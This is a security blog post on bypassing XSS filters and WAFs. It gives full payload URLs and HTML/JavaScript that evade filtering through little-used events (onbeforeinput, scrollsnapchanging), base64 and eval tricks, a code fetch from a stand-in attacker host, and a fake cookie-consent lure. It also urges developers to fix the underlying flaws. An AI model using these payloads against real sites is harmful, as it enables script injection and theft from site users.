/dev/posts/

Bypassing XSS filters

Published:

Updated:

In this post, I am describing some payloads which I used to bypass two distinct XSS filter implementations (such as Web Application Firewalls (WAF)) as well as the approach to design them.

If needed, you might want to look at the super quick XSS primer in the appendix.

Table of content

Take away message

There are two points I am attempting to make with this post.

First, give some ideas of techniques which could be used to bypass XSS filters (see below for more references on this). This is useful if you actually want to demonstrate (convince people) that a XSS is actually really exploitable even if there is some XSS filtering in place.

Second, illustrate that you should not try to fix an (injection) vulnerability in your application merely by adding a WAF (or another similar technology) in front of it and then forget about it. Please do not do this! You must fix the actual freaking vulnerability instead of trying to bandage 🩹 it with a WAF. You can add a WAF as a second layer of protection if you wish but by all means, fix the underlying vulnerability.

Do not “fix” vulnerabilities by merely adding a WAF. You have to fix the underlying vulnerability.

Why is this important?

Problem statement

A (not so long) time ago, there used to be some website which had a reflected XSS vulnerability (let's say https://www1.example.com/?q=XSS_HERE) and I wanted to exploit it (in order to have a proof-of-concept).

I bravely tried classic and simple payloads such as either of these[1]:

<script>alert(window.location)</script>

<img src='#' onerror="alert(window.location)" />

However, there was a XSS filter (implemented by a WAF) which would reject any request containing such a pattern.

Of course other typical patterns[2] were rejected as well such as:

<button onclick="alert(window.location)">Hello</button>

<button onmouseover="alert(window.location)">Hello</button>

<form onsubmit="alert(window.location)"><button type="submit">Hello</button></form>

Moreover, the XSS filter would reject many interesting JavaScript patterns and attempts to ofuscate the payload such as:

alert(...);
e.innerHTML=...;
e["innerHTML"]=...;
e["i"+"n"+"n"+"e"+"r"+"H"+"T"+"M"+"L"]=...;

So there was two things to do in order to be able to execute arbitrary code:

  1. find a way to obfuscate the malicious code so that it would not be rejected by the WAF;
  2. find a trigger for the JavaScript which would not be rejeted by the WAF.

Payloads

Payload 1

I had two defenses to bypass in order to execute interesting code:

  1. First, the HTML XSS filters. I first had to find a HTML pattern which would be accepted. Well-known event handlers (onerror, onclick, etc.) were rejected so I could either try to find a way to trick the XSS filters or try to find an event handler which was not recognized by the XSS filter.
  2. Second the JavaScript XSS filter. I needed to be able to use interesting JavaScript code which would not blocked.

I found that onbeforeinput was not rejected and I came up with this voncoluted URL which would bypass the XSS filter:

https://www1.example.com/?q=<input autofocus onbeforeinput='(async()=>{this.parentElement[await (await fetch("https://attacker.example.com/a.txt")).text()]=(await (await fetch("https://attacker.example.com/b.txt")).text())})();'>

This injects the following stage-1 HTML snippet:

<input autofocus
       onbeforeinput='(async()=>{this.parentElement[await (await fetch("https://attacker.example.com/a.txt")).text()]=(await (await fetch("https://attacker.example.com/b.txt")).text())})();'>

Note that the JavaScript code is executed only if the user actually enters something in the <input> in this case.

The stage-1 JavaScript payload is:

(async()=>{
    this.parentElement[await (await fetch("https://attacker.example.com/a.txt")).text()]
        =(await (await fetch("https://attacker.example.com/b.txt")).text())
})()

In this case, the JavaScript filter is bypassed by dynamically loading some strings from a remote server:

The stage-2 HTML payload is not seen by the WAF and we can therefore now execute arbitrary JavaScript code.

The stage-1 JavaScript payload produces the same effect as:

this.parentElement.innerHTML = "<img src=invalid:// onerror=alert(window.location)>";

This injects the following stage-2 HTML payload:

<img src=invalid:// onerror=alert(window.location)>

This executes the stage-22 JavaScript code:

alert(window.location)

Payload 2

I tried to apply this payload to a second application which had a XSS vulnerability as well (le'ts say https://www2.example.com/?q=XSS_HERE). The previous payload did not work because this the application was protected by an additional second layer of XSS protection[3]. In order to exploit the XSS vulnerability, I had to bypass two different unrelated sets of XSS filters.

This time, the onbeforeinput event handler was filtered as well by the second program. I ended up using the scrollsnapchanging event which is triggered when some scroll snap is happening.

Note: compatibilty

The scrollsnapchanging event is currently not supported by Firefox. This attacker currently does not work with Firefox.

I ended up with this URL:

https://www2.example.com/?q=%3Cdiv%20style=font-size:1.5rem;color:black;background-color:white;border-color:black;border-style:solid;border-width:5px;height:200px;width:400px;overflow-y:scroll;scroll-snap-type:y;%20data-x=innerHTML%20data-y=PGltZyBzcmM9ImludmFsaWQ6Ly8iIG9uZXJyb3I9ImFsZXJ0KHdpbmRvdy5sb2NhdGlvbikiPg==%20onscrollsnapchanging=this[this.dataset.x]=atob(this.dataset.y);%3E%3Cdiv%20style=height:100px;scroll-snap-align:center;%3ECookie%20selection.%3C/div%3E%3Cdiv%20style=height:100px;scroll-snap-align:center;%3EPlease%20tell%20us%20your%20choice%20about%20cookies%20below.%3C/div%3E%3Cdiv%20id=auto-xss-trigger%20style=height:100px;scroll-snap-align:center;%3EAccept%20Deny%3C/div%3E%3C/div%3E#auto-xss-trigger

Which generates the following stage-1 HTML:

<div style="font-size:1.5rem;
            color:black;
            background-color:white;
            border-color:black;
            border-style:solid;
            border-width:5px;
            height:200px;
            width:400px;
            overflow-y:scroll;
            scroll-snap-type:y;"
     data-x="innerHTML"
     data-y="PGltZyBzcmM9ImludmFsaWQ6Ly8iIG9uZXJyb3I9ImFsZXJ0KHdpbmRvdy5sb2NhdGlvbikiPg=="
     onscrollsnapchanging="this[this.dataset.x]=atob(this.dataset.y);">
     <div style="height:100px;scroll-snap-align:center;">Cookie selection.</div>
     <div style="height:100px;scroll-snap-align:center;">Please tell us your choice about cookies below.</div>
     <div id=auto-xss-trigger style="height:100px;scroll-snap-align:center;">Accept Deny</div>
</div>

Note: user interaction required

The scrollsnapchanging event is triggered when the element is scrolled. It would therefore appear that some user interaction is required in order to trigger the malicious JavaScript code.

By carefully designing the injected HTML, you can elicit the expected user action. As an example, I am including here a mockup of a fake “cookie consent dialog” 🍪. I would expect the user to be eager to interact with such a dialog to get rid of it as fast as possible. 😉

You can trigger the code without user interaction by linking to an element in the scrolling area (...#auto-xss-trigger). The browser will automatically scroll in order to reveal the referenced element: this will trigger the scrollsnapchanging event and the malicious code.

When the scrollsnapchanging event is triggered, the stage-1 JavaScript payload is executed:

this.parentElement[this.dataset.x]=atob(this.dataset.y);

where:

This injects the following stage-2 HTML payload:

<img src="invalid://" onerror="alert(window.location)">

This triggers the stage-2 JavaScript code:

alert(window.location)

Demo: payload triggered by scrolling (onscrollsnapchanging)

Cookie selection.
Please tell us your choice about cookies below.
Accept Deny

An alternative payload which works even if you cannot control the fragment (useful in non-reflected XSS) is discussed xss-cheatsheet-data PR 76.

Payload 2 bis

A simpler version of the previous payload is:

https://www2.example.com/?q=%3Cdiv%20style=font-size:1.5rem;color:black;background-color:white;border-color:black;border-style:solid;border-width:5px;height:200px;width:400px;overflow-y:scroll;scroll-snap-type:y;%20data-x=eval%20data-y=YWxlcnQod2luZG93LmxvY2F0aW9uKQ==%20onscrollsnapchanging=window[this.dataset.x](atob(this.dataset.y));%3E%3Cdiv%20style=height:100px;scroll-snap-align:center;%3ECookie%20selection.%3C/div%3E%3Cdiv%20style=height:100px;scroll-snap-align:center;%3EPlease%20tell%20us%20your%20choice%20about%20cookies%20below.%3C/div%3E%3Cdiv%20id=auto-xss-trigger2%20style=height:100px;scroll-snap-align:center;%3EAccept%20Deny%3C/div%3E%3C/div%3E#auto-xss-trigger2

This generates the following stage-1 HTML:

<div style="font-size:1.5rem;
            color:black;
            background-color:white;
            border-color:black;
            border-style:solid;
            border-width:5px;
            height:200px;
            width:400px;
            overflow-y:scroll;
            scroll-snap-type:y;" 
     data-x="eval"
     data-y="YWxlcnQod2luZG93LmxvY2F0aW9uKQ=="
     onscrollsnapchanging=window[this.dataset.x](atob(this.dataset.y));
     >
     <div style="height:100px;scroll-snap-align:center;">Cookie selection.</div>
     <div style=height:100px;scroll-snap-align:center;>Please tell us your choice about cookie below.</div>
     <div id=auto-xss-trigger2 style=height:100px;scroll-snap-align:center;>Accept Deny</div>
</div>

This executes the following stage-1 JavaScript:

window[this.dataset.x](atob(this.dataset.y));

where:

The eval() call executes the follow stage-2 JavaScript payload:

alert(window.location);

Compared to the previous version, we avoid the stage-2 HTML by using eval(...).

Demo: payload triggered by scrolling (onscrollsnapchanging)

Cookie selection.
Please tell us your choice about cookie below.
Accept Deny

Appendix, XSS in a nutshell

Reflected XSS

A reflected XSS attack works as follows:

  1. a malicious payload is included in the HTTP request;
  2. it is reflected in the HTTP response (eg. in HTML);
  3. this malicious payload in the HTTP response triggers the execution of attacker-chosen JavaScript code in the user's browser (in the context of the application).

Usually the malicious payload is included as a parameter of the query string (/foo?q=PAYLOAD) or in the URI path component (/user/PAYLOAD/). The attacker has to find a way to trick the user's browser into generating this malicious request: this can be done through a malicious redirection, by sending a malicious link by email, etc.

Sequence diagram of a reflected XSS attack

Stored XSS

A stored XSS attack works as follows:

  1. the attacker sends the malicious payload to the application;
  2. the application stores the malicious payload in database;
  3. the application reads the malicious payload from the database and includs it in some HTTP response (eg. in HTML);
  4. this triggers the execution of attacker-chosen JavaScript code in the user's browser (in the context of the application).
Sequence diagram of a stored XSS attack

Appendix, XSS tips

See as well the invaluable PortSwigger XSS cheat sheet.

Interesting DOM events

These DOM events are promising because they are not used so much or are new and might not be rejected by XSS filters:

Note: Chrome releases and XSS

An attacker might find it worthwhile to watch for Chrome browser releases which introduce new DOM events. These are good times to exploit XSS vulnerabilities using event handlers which may not be rejected by existing XSS filters.

JavaScript payload

The following JavaScript patterns can be used to execute arbitrary JavaScript from strings:

eval(...);
setTimeout(..., 1);
setInterval(..., 1);
Function(...)()
Function(...).call()
Map.constructor(...)()
Map.constructor(...).call()
Function`...`()

The following JavaScript patterns can be used to inject arbitrary HTML from strings:

e.innerHTML=...;
document.write(...);
document.writeln(...);

The strings can be obfuscated using several methods such as:

Scope of event handler content attributes

One interesting thing that I rediscovered is that event handler content attributes (onclick=... and such is) have a weird scope with, in order, of priority:

  1. this (the element);
  2. event (the current event);
  3. the properties of the element;
  4. the properties of the form owner (i.e., the <form> of the controle) if any;
  5. the properties of the document;
  6. the global environment.

This can be useful if you are facing a WAF which tries to prevent access to global objects (window, document, etc.):

<img src=x
     title=YWxlcnQoMSk
     alt=eval
     aria-label=atob
     aria-description=defaultView
     onerror=ownerDocument[ariaDescription][alt](ownerDocument[ariaDescription][ariaLabel](title))
     >

Some explanations:

References

XSS Cheat Sheets:

Ohter references:

DOM events on MDN:


  1. These ones are nice because the work without any user interaction. ↩︎

  2. These ones are not as nice because they are triggered by user interaction. ↩︎

  3. There were two unrelated programs protecting the same application. For some payloads, you would see the error message from the first WAF and, when you managed to bypass this first WAF, you would have an error message from a second program. ↩︎